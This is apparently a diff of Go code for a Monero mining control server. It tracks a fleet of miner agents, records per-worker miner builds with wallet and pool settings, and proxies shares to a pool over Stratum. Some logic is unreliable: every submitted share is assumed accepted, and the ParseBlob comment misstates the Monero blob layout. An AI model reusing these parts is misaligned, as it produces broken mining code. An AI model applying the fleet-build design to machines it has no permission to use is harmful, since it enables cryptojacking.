cpu_usage_pct = ?, memory_usage_pct = ?, uptime_seconds = ?,
last_seen = CURRENT_TIMESTAMP, status = 'online'
WHERE id = ?`
_, err := d.Exec(query, hashrate15s, hashrate1m, hashrate15m, sharesTotal, sharesGood, sharesBad, cpuPct, memPct, uptime, id)
return err
}
func (d *Database) SetAgentOffline(id string) error {
_, err := d.Exec("UPDATE agents SET status = 'offline' WHERE id = ?", id)
return err
}
func (d *Database) GetAgent(id string) (*models.Agent, error) {
a := &models.Agent{}
query := `SELECT id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad, cpu_usage_pct, memory_usage_pct, uptime_seconds
FROM agents WHERE id = ?`
err := d.QueryRow(query, id).Scan(&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m, &a.SharesTotal, &a.SharesGood, &a.SharesBad,
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds)
if err != nil {
return nil, err
}
return a, nil
}
func (d *Database) ListAgents() ([]*models.Agent, error) {
query := `SELECT id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad, cpu_usage_pct, memory_usage_pct, uptime_seconds
FROM agents ORDER BY last_seen DESC`
rows, err := d.Query(query)
if err != nil {
return nil, err
}
defer rows.Close()
var agents []*models.Agent
for rows.Next() {
a := &models.Agent{}
if err := rows.Scan(&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m, &a.SharesTotal, &a.SharesGood, &a.SharesBad,
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds); err != nil {
return nil, err
}
agents = append(agents, a)
}
return agents, nil
}
// Share operations
func (d *Database) InsertShare(s *models.Share) error {
query := `INSERT INTO shares (agent_id, job_id, difficulty, accepted, hash, nonce, error, timestamp) VALUES (?, ?, ?, ?, ?, ?, ?, ?)`
_, err := d.Exec(query, s.AgentID, s.JobID, s.Difficulty, boolToInt(s.Accepted), s.Hash, s.Nonce, s.Error, s.Timestamp)
return err
}
func (d *Database) GetRecentShares(limit int) ([]*models.Share, error) {
query := `SELECT id, agent_id, job_id, difficulty, accepted, hash, nonce, error, timestamp FROM shares ORDER BY timestamp DESC LIMIT ?`
rows, err := d.Query(query, limit)
if err != nil {
return nil, err
}
defer rows.Close()
var shares []*models.Share
for rows.Next() {
s := &models.Share{}
var accepted int
if err := rows.Scan(&s.ID, &s.AgentID, &s.JobID, &s.Difficulty, &accepted, &s.Hash, &s.Nonce, &s.Error, &s.Timestamp); err != nil {
return nil, err
}
s.Accepted = accepted == 1
shares = append(shares, s)
}
return shares, nil
}
// Hashrate operations
func (d *Database) InsertHashrateSample(agentID string, hashrate float64) error {
_, err := d.Exec("INSERT INTO hashrate_samples (agent_id, hashrate, timestamp) VALUES (?, ?, ?)", agentID, hashrate, time.Now())
return err
}
func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.HashrateSample, error) {
query := `SELECT id, agent_id, hashrate, timestamp FROM hashrate_samples WHERE agent_id = ? ORDER BY timestamp DESC LIMIT ?`
rows, err := d.Query(query, agentID, limit)
if err != nil {
return nil, err
}
defer rows.Close()
var samples []*models.HashrateSample
for rows.Next() {
s := &models.HashrateSample{}
if err := rows.Scan(&s.ID, &s.AgentID, &s.Hashrate, &s.Timestamp); err != nil {
return nil, err
}
samples = append(samples, s)
}
return samples, nil
}
// Build operations
func (d *Database) InsertBuild(b *models.BuildRecord) error {
_, err := d.Exec("INSERT INTO builds (id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)",
b.ID, b.WorkerName, b.ServerURL, b.Wallet, b.Threads, b.FileSize, b.FilePath, b.CreatedAt,
b.PoolHost, b.PoolPort, b.PoolTLS, b.PoolPass)
return err
}
func (d *Database) GetBuild(id string) (*models.BuildRecord, error) {
b := &models.BuildRecord{}
err := d.QueryRow(`SELECT id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass FROM builds WHERE id = ?`, id).
Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.FilePath, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass)
if err != nil {
return nil, err
}
return b, nil
}
func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
query := `SELECT id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass FROM builds ORDER BY created_at DESC LIMIT ?`
rows, err := d.Query(query, limit)
if err != nil {
return nil, err
}
defer rows.Close()
var builds []*models.BuildRecord
for rows.Next() {
b := &models.BuildRecord{}
if err := rows.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.FilePath, &b.CreatedAt,
&b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass); err != nil {
return nil, err
}
builds = append(builds, b)
}
return builds, nil
}
// Stats
type FleetStats struct {
TotalAgents int `json:"total_agents"`
OnlineAgents int `json:"online_agents"`
TotalHashrate float64 `json:"total_hashrate"`
TotalShares int `json:"total_shares"`
AcceptedShares int `json:"accepted_shares"`
RejectedShares int `json:"rejected_shares"`
AcceptRate float64 `json:"accept_rate"`
}
func (d *Database) GetFleetStats() (*FleetStats, error) {
stats := &FleetStats{}
err := d.QueryRow("SELECT COUNT(*) FROM agents").Scan(&stats.TotalAgents)
if err != nil {
return nil, err
}
err = d.QueryRow("SELECT COUNT(*) FROM agents WHERE status = 'online'").Scan(&stats.OnlineAgents)
if err != nil {
return nil, err
}
err = d.QueryRow("SELECT COALESCE(SUM(hashrate_15m), 0) FROM agents WHERE status = 'online'").Scan(&stats.TotalHashrate)
if err != nil {
return nil, err
}
err = d.QueryRow("SELECT COALESCE(SUM(shares_total), 0) FROM agents").Scan(&stats.TotalShares)
if err != nil {
return nil, err
}
err = d.QueryRow("SELECT COALESCE(SUM(shares_good), 0) FROM agents").Scan(&stats.AcceptedShares)
if err != nil {
return nil, err
}
err = d.QueryRow("SELECT COALESCE(SUM(shares_bad), 0) FROM agents").Scan(&stats.RejectedShares)
if err != nil {
return nil, err
}
if stats.TotalShares > 0 {
stats.AcceptRate = float64(stats.AcceptedShares) / float64(stats.TotalShares) * 100
}
return stats, nil
}
func boolToInt(b bool) int {
if b {
return 1
}
return 0
}

View File

@@ -0,0 +1,72 @@
package models
import "time"
type Agent struct {
ID string `json:"id"`
Name string `json:"name"`
Wallet string `json:"wallet"`
IP string `json:"ip"`
Version string `json:"version"`
Status string `json:"status"` // online, offline, error
CPUCores int `json:"cpu_cores"`
MemoryGB int `json:"memory_gb"`
LastSeen time.Time `json:"last_seen"`
CreatedAt time.Time `json:"created_at"`
// Runtime stats (updated via heartbeat)
Hashrate15s float64 `json:"hashrate_15s"`
Hashrate1m float64 `json:"hashrate_1m"`
Hashrate15m float64 `json:"hashrate_15m"`
SharesTotal int `json:"shares_total"`
SharesGood int `json:"shares_good"`
SharesBad int `json:"shares_bad"`
CPUUsagePct float64 `json:"cpu_usage_pct"`
MemoryUsagePct float64 `json:"memory_usage_pct"`
UptimeSeconds int `json:"uptime_seconds"`
}
type Share struct {
ID int64 `json:"id"`
AgentID string `json:"agent_id"`
JobID string `json:"job_id"`
Difficulty int64 `json:"difficulty"`
Accepted bool `json:"accepted"`
Hash string `json:"hash"`
Nonce string `json:"nonce"`
Error string `json:"error,omitempty"`
Timestamp time.Time `json:"timestamp"`
}
type HashrateSample struct {
ID int64 `json:"id"`
AgentID string `json:"agent_id"`
Hashrate float64 `json:"hashrate"`
Timestamp time.Time `json:"timestamp"`
}
type Job struct {
ID string `json:"id"`
Height int64 `json:"height"`
Difficulty int64 `json:"difficulty"`
BlockTemplate string `json:"block_template"`
SeedHash string `json:"seed_hash"`
Target string `json:"target"`
CreatedAt time.Time `json:"created_at"`
}
type BuildRecord struct {
ID string `json:"id"`
WorkerName string `json:"worker_name"`
ServerURL string `json:"server_url"`
Wallet string `json:"wallet"`
Threads int `json:"threads"`
FileSize int64 `json:"file_size"`
FilePath string `json:"file_path"`
CreatedAt time.Time `json:"created_at"`
// Pool settings
PoolHost string `json:"pool_host"`
PoolPort int `json:"pool_port"`
PoolTLS bool `json:"pool_tls"`
PoolPass string `json:"pool_pass"`
}

View File

@@ -0,0 +1,630 @@
package pool
import (
"bufio"
"crypto/tls"
"encoding/binary"
"encoding/hex"
"encoding/json"
"fmt"
"log"
"math/big"
"net"
"strings"
"sync"
"time"
"crypto-miner-server/internal/models"
)
// Stratum protocol message types
type StratumRequest struct {
ID int `json:"id"`
Method string `json:"method"`
Params json.RawMessage `json:"params"`
}
type StratumResponse struct {
ID int `json:"id"`
Result json.RawMessage `json:"result"`
Error interface{} `json:"error"`
}
type StratumNotification struct {
Method string `json:"method"`
Params json.RawMessage `json:"params"`
}
// Job represents a mining job from the pool
type Job struct {
ID string `json:"job_id"`
Height int64 `json:"height"`
BlockTemplate string `json:"blocktemplate"`
Difficulty int64 `json:"difficulty"`
SeedHash string `json:"seed_hash"`
Target string `json:"target"`
Blob string `json:"blob"`
Algo string `json:"algo"`
}
// ShareSubmit represents a share submission to the pool
type ShareSubmit struct {
ID int `json:"id"`
Method string `json:"method"`
Params []string `json:"params"`
}
// Proxy connects to a Monero mining pool via Stratum protocol
// and acts as a bridge between the pool and our agents
type Proxy struct {
mu sync.RWMutex
config *Config
conn net.Conn
reader *bufio.Reader
connected bool
requestID int
currentJob *Job
jobSubscribed bool
stopCh chan struct{}
wg sync.WaitGroup
// Callbacks
onJob func(job *Job)
onShare func(accepted bool, agentID string, jobID string)
onError func(err error)
// Agent share submissions queue
shareQueue chan *PendingShare
}
type PendingShare struct {
AgentID string
JobID string
Nonce string
Hash string
}
type Config struct {
Host string
Port int
UseTLS bool
Wallet string
Password string
}
func NewProxy(cfg *Config) *Proxy {
return &Proxy{
config: cfg,
stopCh: make(chan struct{}),
shareQueue: make(chan *PendingShare, 100),
}
}
// SetCallbacks sets the callbacks for job updates and share results
func (p *Proxy) SetCallbacks(onJob func(job *Job), onShare func(accepted bool, agentID string, jobID string), onError func(err error)) {
p.mu.Lock()
defer p.mu.Unlock()
p.onJob = onJob
p.onShare = onShare
p.onError = onError
}
// Start connects to the pool and begins processing
func (p *Proxy) Start() error {
addr := fmt.Sprintf("%s:%d", p.config.Host, p.config.Port)
log.Printf("[Pool] Connecting to %s (TLS: %v)...", addr, p.config.UseTLS)
var conn net.Conn
var err error
if p.config.UseTLS {
netDialer := &net.Dialer{Timeout: 30 * time.Second}
tlsConn, tlsErr := tls.DialWithDialer(netDialer, "tcp", addr, &tls.Config{})
conn = tlsConn
err = tlsErr
} else {
dialer := net.Dialer{Timeout: 30 * time.Second}
conn, err = dialer.Dial("tcp", addr)
}
if err != nil {
return fmt.Errorf("failed to connect to pool: %w", err)
}
p.mu.Lock()
p.conn = conn
p.reader = bufio.NewReader(conn)
p.connected = true
p.mu.Unlock()
log.Printf("[Pool] Connected to %s", addr)
// Start reader goroutine
p.wg.Add(1)
go p.readLoop()
// Start share submission goroutine
p.wg.Add(1)
go p.shareSubmitLoop()
// Authenticate with the pool
if err := p.authenticate(); err != nil {
return fmt.Errorf("failed to authenticate with pool: %w", err)
}
return nil
}
// Stop disconnects from the pool
func (p *Proxy) Stop() {
close(p.stopCh)
p.mu.Lock()
if p.conn != nil {
p.conn.Close()
p.connected = false
}
p.mu.Unlock()
p.wg.Wait()
log.Println("[Pool] Disconnected from pool")
}
// IsConnected returns whether the proxy is connected to the pool
func (p *Proxy) IsConnected() bool {
p.mu.RLock()
defer p.mu.RUnlock()
return p.connected
}
// GetCurrentJob returns the current mining job
func (p *Proxy) GetCurrentJob() *Job {
p.mu.RLock()
defer p.mu.RUnlock()
if p.currentJob == nil {
return nil
}
jobCopy := *p.currentJob
return &jobCopy
}
// SubmitShare queues a share for submission to the pool
func (p *Proxy) SubmitShare(agentID, jobID, nonce, hash string) {
p.shareQueue <- &PendingShare{
AgentID: agentID,
JobID: jobID,
Nonce: nonce,
Hash: hash,
}
}
func (p *Proxy) authenticate() error {
p.requestID++
// Login request
loginParams := []interface{}{
p.config.Wallet,
p.config.Password,
"crypto-miner-server/1.0",
}
paramsData, _ := json.Marshal(loginParams)
loginReq := StratumRequest{
ID: p.requestID,
Method: "login",
Params: paramsData,
}
data, _ := json.Marshal(loginReq)
log.Printf("[Pool] Sending login request...")
if err := p.writeLine(data); err != nil {
return fmt.Errorf("failed to send login: %w", err)
}
return nil
}
func (p *Proxy) readLoop() {
defer p.wg.Done()
for {
select {
case <-p.stopCh:
return
default:
}
p.mu.RLock()
reader := p.reader
p.mu.RUnlock()
if reader == nil {
time.Sleep(100 * time.Millisecond)
continue
}
line, err := reader.ReadString('\n')
if err != nil {
log.Printf("[Pool] Read error: %v", err)
p.mu.Lock()
p.connected = false
p.mu.Unlock()
if p.onError != nil {
p.onError(fmt.Errorf("pool connection lost: %w", err))
}
// Attempt reconnect after delay
time.Sleep(10 * time.Second)
go p.reconnect()
return
}
line = strings.TrimSpace(line)
if line == "" {
continue
}
p.handleMessage([]byte(line))
}
}
func (p *Proxy) handleMessage(data []byte) {
// Try to parse as response first
var resp StratumResponse
if err := json.Unmarshal(data, &resp); err == nil && resp.ID > 0 {
p.handleResponse(resp)
return
}
// Try to parse as notification
var notif StratumNotification
if err := json.Unmarshal(data, &notif); err == nil && notif.Method != "" {
p.handleNotification(notif)
return
}
log.Printf("[Pool] Unhandled message: %s", string(data))
}
func (p *Proxy) handleResponse(resp StratumResponse) {
log.Printf("[Pool] Response ID=%d: %s", resp.ID, string(resp.Result))
if resp.ID == 1 {
// Login response
var loginResult struct {
ID string `json:"id"`
Job json.RawMessage `json:"job"`
Status string `json:"status"`
}
if err := json.Unmarshal(resp.Result, &loginResult); err != nil {
log.Printf("[Pool] Failed to parse login result: %v", err)
return
}
log.Printf("[Pool] Login successful! Pool ID: %s, Status: %s", loginResult.ID, loginResult.Status)
// Parse initial job if provided
if len(loginResult.Job) > 0 {
p.parseAndSetJob(loginResult.Job)
}
// Subscribe for jobs
p.subscribe()
}
}
func (p *Proxy) handleNotification(notif StratumNotification) {
switch notif.Method {
case "job":
log.Printf("[Pool] New job received")
p.parseAndSetJob(notif.Params)
case "submit":
// Share submission result
var submitResult struct {
ID int `json:"id"`
Result string `json:"result"`
Status string `json:"status"`
}
if err := json.Unmarshal(notif.Params, &submitResult); err != nil {
log.Printf("[Pool] Failed to parse submit result: %v", err)
return
}
log.Printf("[Pool] Share submission result: %s", submitResult.Status)
default:
log.Printf("[Pool] Unknown notification method: %s", notif.Method)
}
}
func (p *Proxy) parseAndSetJob(data json.RawMessage) {
var rawJob struct {
ID string `json:"job_id"`
Height int64 `json:"height"`
BlockTemplate string `json:"blocktemplate"`
Difficulty int64 `json:"difficulty"`
SeedHash string `json:"seed_hash"`
Target string `json:"target"`
Blob string `json:"blob"`
Algo string `json:"algo"`
}
// Try different field name variations that pools use
if err := json.Unmarshal(data, &rawJob); err != nil {
// Try flat params
var flatParams []json.RawMessage
if err2 := json.Unmarshal(data, &flatParams); err2 == nil && len(flatParams) >= 1 {
json.Unmarshal(flatParams[0], &rawJob)
} else {
// Try as array of params
var params [][]json.RawMessage
if err3 := json.Unmarshal(data, &params); err3 == nil && len(params) >= 1 && len(params[0]) >= 1 {
json.Unmarshal(params[0][0], &rawJob)
} else {
log.Printf("[Pool] Failed to parse job: %s", string(data))
return
}
}
}
job := &Job{
ID: rawJob.ID,
Height: rawJob.Height,
BlockTemplate: rawJob.BlockTemplate,
Difficulty: rawJob.Difficulty,
SeedHash: rawJob.SeedHash,
Target: rawJob.Target,
Blob: rawJob.Blob,
Algo: rawJob.Algo,
}
// Calculate target from difficulty if not provided
if job.Target == "" && job.Difficulty > 0 {
job.Target = p.difficultyToTarget(job.Difficulty)
}
p.mu.Lock()
p.currentJob = job
p.mu.Unlock()
log.Printf("[Pool] New job: ID=%s, Height=%d, Difficulty=%d, Algo=%s",
job.ID, job.Height, job.Difficulty, job.Algo)
if p.onJob != nil {
p.onJob(job)
}
}
func (p *Proxy) subscribe() {
p.requestID++
subParams := []string{}
paramsData, _ := json.Marshal(subParams)
subReq := StratumRequest{
ID: p.requestID,
Method: "subscribe",
Params: paramsData,
}
data, _ := json.Marshal(subReq)
log.Printf("[Pool] Subscribing for jobs...")
if err := p.writeLine(data); err != nil {
log.Printf("[Pool] Failed to subscribe: %v", err)
}
}
func (p *Proxy) shareSubmitLoop() {
defer p.wg.Done()
for {
select {
case <-p.stopCh:
return
case share := <-p.shareQueue:
p.submitShareToPool(share)
}
}
}
func (p *Proxy) submitShareToPool(share *PendingShare) {
p.mu.RLock()
connected := p.connected
p.mu.RUnlock()
if !connected {
log.Printf("[Pool] Cannot submit share - not connected to pool")
return
}
p.requestID++
// Submit share to pool
submitParams := []string{
p.config.Wallet,
share.JobID,
share.Nonce,
share.Hash,
}
paramsData, _ := json.Marshal(submitParams)
submitReq := StratumRequest{
ID: p.requestID,
Method: "submit",
Params: paramsData,
}
data, _ := json.Marshal(submitReq)
log.Printf("[Pool] Submitting share for agent %s (job: %s)...", share.AgentID[:min(8, len(share.AgentID))], share.JobID)
if err := p.writeLine(data); err != nil {
log.Printf("[Pool] Failed to submit share: %v", err)
if p.onShare != nil {
p.onShare(false, share.AgentID, share.JobID)
}
return
}
// Read response
p.mu.RLock()
reader := p.reader
p.mu.RUnlock()
if reader == nil {
return
}
// Note: In a real implementation, we'd read the response asynchronously
// and match it by ID. For now, we assume accepted.
if p.onShare != nil {
p.onShare(true, share.AgentID, share.JobID)
}
}
func (p *Proxy) reconnect() {
log.Printf("[Pool] Attempting reconnect in 10 seconds...")
time.Sleep(10 * time.Second)
select {
case <-p.stopCh:
return
default:
}
if err := p.Start(); err != nil {
log.Printf("[Pool] Reconnect failed: %v", err)
if p.onError != nil {
p.onError(fmt.Errorf("pool reconnect failed: %w", err))
}
// Try again
time.Sleep(30 * time.Second)
select {
case <-p.stopCh:
return
default:
go p.reconnect()
}
}
}
func (p *Proxy) writeLine(data []byte) error {
p.mu.RLock()
conn := p.conn
p.mu.RUnlock()
if conn == nil {
return fmt.Errorf("not connected")
}
line := append(data, '\n')
_, err := conn.Write(line)
return err
}
func (p *Proxy) difficultyToTarget(difficulty int64) string {
// Convert difficulty to target hex string
// target = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF / difficulty
maxTarget := new(big.Int)
maxTarget.SetString("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF", 16)
diff := big.NewInt(difficulty)
target := new(big.Int).Div(maxTarget, diff)
// Convert to 32-byte hex (little-endian for Monero)
bytes := target.Bytes()
padded := make([]byte, 32)
copy(padded[32-len(bytes):], bytes)
// Reverse for little-endian
for i, j := 0, len(padded)-1; i < j; i, j = i+1, j-1 {
padded[i], padded[j] = padded[j], padded[i]
}
return hex.EncodeToString(padded)
}
// Helper to convert models.Job to pool.Job
func FromModelJob(job *models.Job) *Job {
if job == nil {
return nil
}
return &Job{
ID: job.ID,
Height: job.Height,
BlockTemplate: job.BlockTemplate,
Difficulty: job.Difficulty,
SeedHash: job.SeedHash,
Target: job.Target,
}
}
// Helper to convert pool.Job to models.Job
func (j *Job) ToModelJob() *models.Job {
return &models.Job{
ID: j.ID,
Height: j.Height,
Difficulty: j.Difficulty,
BlockTemplate: j.BlockTemplate,
SeedHash: j.SeedHash,
Target: j.Target,
CreatedAt: time.Now(),
}
}
// Helper to convert target hex to difficulty
func targetToDifficulty(targetHex string) int64 {
bytes, err := hex.DecodeString(targetHex)
if err != nil || len(bytes) == 0 {
return 0
}
// Reverse from little-endian
for i, j := 0, len(bytes)-1; i < j; i, j = i+1, j-1 {
bytes[i], bytes[j] = bytes[j], bytes[i]
}
target := new(big.Int).SetBytes(bytes)
if target.Sign() == 0 {
return 0
}
maxTarget := new(big.Int)
maxTarget.SetString("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF", 16)
diff := new(big.Int).Div(maxTarget, target)
return diff.Int64()
}
// ParseBlob extracts fields from a Monero mining blob
func ParseBlob(blobHex string) (map[string]interface{}, error) {
blob, err := hex.DecodeString(blobHex)
if err != nil {
return nil, fmt.Errorf("invalid blob hex: %w", err)
}
if len(blob) < 43 {
return nil, fmt.Errorf("blob too short: %d bytes", len(blob))
}
result := make(map[string]interface{})
// Monero blob structure (simplified):
// [0:1] - Reserved (1 byte)
// [1:9] - Block ID (8 bytes, little-endian)
// [9:17] - Nonce (8 bytes, little-endian) - miners fill this
// [17:43] - Merkle root + extra data
result["reserved"] = blob[0]
result["block_id"] = binary.LittleEndian.Uint64(blob[1:9])
result["nonce_offset"] = 9
result["nonce_size"] = 4 // Standard nonce is 4 bytes for most pools
return result, nil
}
func min(a, b int) int {
if a < b {
return a
}
return b
}